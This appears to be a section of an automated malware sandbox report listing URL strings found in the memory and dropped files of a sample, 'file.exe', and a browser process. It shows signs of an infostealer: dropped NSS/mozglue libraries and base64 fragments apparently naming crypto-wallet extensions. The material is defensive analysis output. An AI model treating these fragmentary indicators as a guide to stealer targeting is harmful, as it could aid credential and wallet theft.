Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, AKKEGHJDHDAFHIDHCFHD.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chrome.exe, 00000001.00000003.1835684146.00002B440048C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: file.exe, file.exe, 00000000.00000002.2129255327.000000006CF11000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2102203891.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1741284072.0000000004D7B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_79.3.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: chrome.exe, 00000001.00000003.1835684146.00002B440048C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000001.00000003.1835684146.00002B440048C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000001.00000003.1835684146.00002B440048C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000001.00000003.1835684146.00002B440048C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000001.00000003.1835684146.00002B440048C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000001.00000003.1835684146.00002B440048C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000001.00000003.1835684146.00002B440048C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000001.00000003.1835684146.00002B440048C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000001.00000003.1835684146.00002B440048C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: chrome.exe, 00000001.00000003.1835684146.00002B440048C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000001.00000003.1855979648.00002B440042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: chrome.exe, 00000001.00000003.1835684146.00002B440048C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.1952234985.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJE.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1952234985.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJE.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1952234985.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJE.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_75.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_75.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_75.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_75.3.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: chrome.exe, 00000001.00000003.1832013099.000028BC00684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/0
Source: chrome.exe, 00000001.00000003.1875430953.00002B4401510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/1z
Source: chrome.exe, 00000001.00000003.1831409199.000028BC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1877465918.000028BC0080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000001.00000003.1875430953.00002B4401510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/4z
Source: chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/6
Source: chrome.exe, 00000001.00000003.1875430953.00002B4401510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/;z
Source: chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/A
Source: chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/G
Source: chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/J
Source: chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/P
Source: chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/W
Source: chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/f
Source: chrome.exe, 00000001.00000003.1832013099.000028BC00684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/hj
Source: chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/m
Source: chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/s
Source: chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/v
Source: chrome.exe, 00000001.00000003.1876214092.00002B4401B50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875430953.00002B4401510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1832013099.000028BC00684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000001.00000003.1831409199.000028BC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1877465918.000028BC0080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000001.00000003.1832013099.000028BC00684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000001.00000003.1832013099.000028BC00684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 00000001.00000003.1879552143.00002B4401798000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1879631707.00002B44017A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: AKKEGHJDHDAFHIDHCFHD.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: chrome.exe, 00000001.00000003.1849510177.00002B4400384000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000001.00000003.1876138222.00002B4401AFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000001.00000003.1876138222.00002B4401AFC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000001.00000003.1831409199.000028BC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1877465918.000028BC0080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000001.00000003.1831409199.000028BC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1877465918.000028BC0080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000001.00000003.1877465918.000028BC0080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000001.00000003.1875304351.00002B440140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874171148.00002B44014BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875342960.00002B4401428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874260442.00002B44014C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874119547.00002B44014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875430953.00002B44014F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000001.00000003.1856107595.00002B44010BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1856239860.00002B440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855979648.00002B440042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000001.00000003.1856107595.00002B44010BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1856239860.00002B440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855979648.00002B440042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000001.00000003.1831409199.000028BC00390000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1877465918.000028BC0080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/2
Source: chrome.exe, 00000001.00000003.1832434870.000028BC006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855979648.00002B440042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000001.00000003.1877465918.000028BC0080C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000001.00000003.1875430953.00002B4401510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload
Source: chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000001.00000003.1875304351.00002B440140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874171148.00002B44014BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875342960.00002B4401428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874260442.00002B44014C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874119547.00002B44014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875430953.00002B44014F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000001.00000003.1875241441.00002B4401444000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874119547.00002B44014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875430953.00002B44014F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000001.00000003.1875545662.00002B4400C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000001.00000003.1875241441.00002B4401444000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874119547.00002B44014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875430953.00002B44014F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000001.00000003.1875241441.00002B4401444000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874119547.00002B44014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875430953.00002B44014F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000001.00000003.1882372315.00002B4401C90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1851037462.00002B44007E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000001.00000003.1851037462.00002B44007E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000001.00000003.1882372315.00002B4401C90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1851037462.00002B44007E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000001.00000003.1851037462.00002B44007E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000001.00000003.1882372315.00002B4401C90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1851037462.00002B44007E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000001.00000003.1835757010.00002B44002C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://payments.google.com/
Source: chrome.exe, 00000001.00000003.1856107595.00002B44010BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1856239860.00002B440120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1855979648.00002B440042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chromecache_75.3.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_79.3.dr	String found in binary or memory: https://plus.google.com
Source: chromecache_79.3.dr	String found in binary or memory: https://plus.googleapis.com
Source: chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000001.00000003.1835757010.00002B44002C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sandbox.google.com/
Source: chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000001.00000003.1872154570.00002B4400340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000001.00000003.1875304351.00002B440140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874171148.00002B44014BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875342960.00002B4401428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874260442.00002B44014C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874119547.00002B44014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875430953.00002B44014F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: IECBGIDAEHCGDGCBKEBGDGIJDG.0.dr	String found in binary or memory: https://support.mozilla.org
Source: IECBGIDAEHCGDGCBKEBGDGIJDG.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: IECBGIDAEHCGDGCBKEBGDGIJDG.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1943126127.000000001D37D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1943126127.000000001D37D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: chromecache_79.3.dr	String found in binary or memory: https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, AKKEGHJDHDAFHIDHCFHD.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1952234985.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJE.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp, AKKEGHJDHDAFHIDHCFHD.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: chrome.exe, 00000001.00000003.1872154570.00002B4400340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000001.00000003.1872154570.00002B4400340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000001.00000003.1872154570.00002B4400340000.00000004.00000800.00020000.00000000.sdmp, chromecache_75.3.dr	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000001.00000003.1850075407.00002B4400CDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: file.exe, 00000000.00000003.1952234985.0000000000A86000.00000004.00000020.00020000.00000000.sdmp, AAKEGIJE.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000001.00000003.1875304351.00002B440140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874171148.00002B44014BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875342960.00002B4401428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874260442.00002B44014C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874119547.00002B44014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875430953.00002B44014F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000001.00000003.1875430953.00002B44014F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000001.00000003.1855979648.00002B440042C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000001.00000003.1875241441.00002B4401444000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1874119547.00002B44014B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875430953.00002B44014F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/url?q=https://google.com/chrome/safety%3Fbrand%3DKFKH%26utm_source%3Dweb%26ut
Source: chrome.exe, 00000001.00000003.1872154570.00002B4400340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000001.00000003.1835757010.00002B44002C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chromecache_79.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.me
Source: chromecache_79.3.dr	String found in binary or memory: https://www.googleapis.com/auth/plus.people.recommended
Source: chrome.exe, 00000001.00000003.1879736192.00002B44017B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000001.00000003.1875736091.00002B4401534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000001.00000003.1872154570.00002B4400340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000001.00000003.1872154570.00002B4400340000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chromecache_75.3.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_75.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_75.3.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: chrome.exe, 00000001.00000003.1875203399.00002B4401458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000001.00000003.1874375271.00002B440148C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875304351.00002B440140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875342960.00002B4401428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875430953.00002B44014F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1875203399.00002B4401458000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
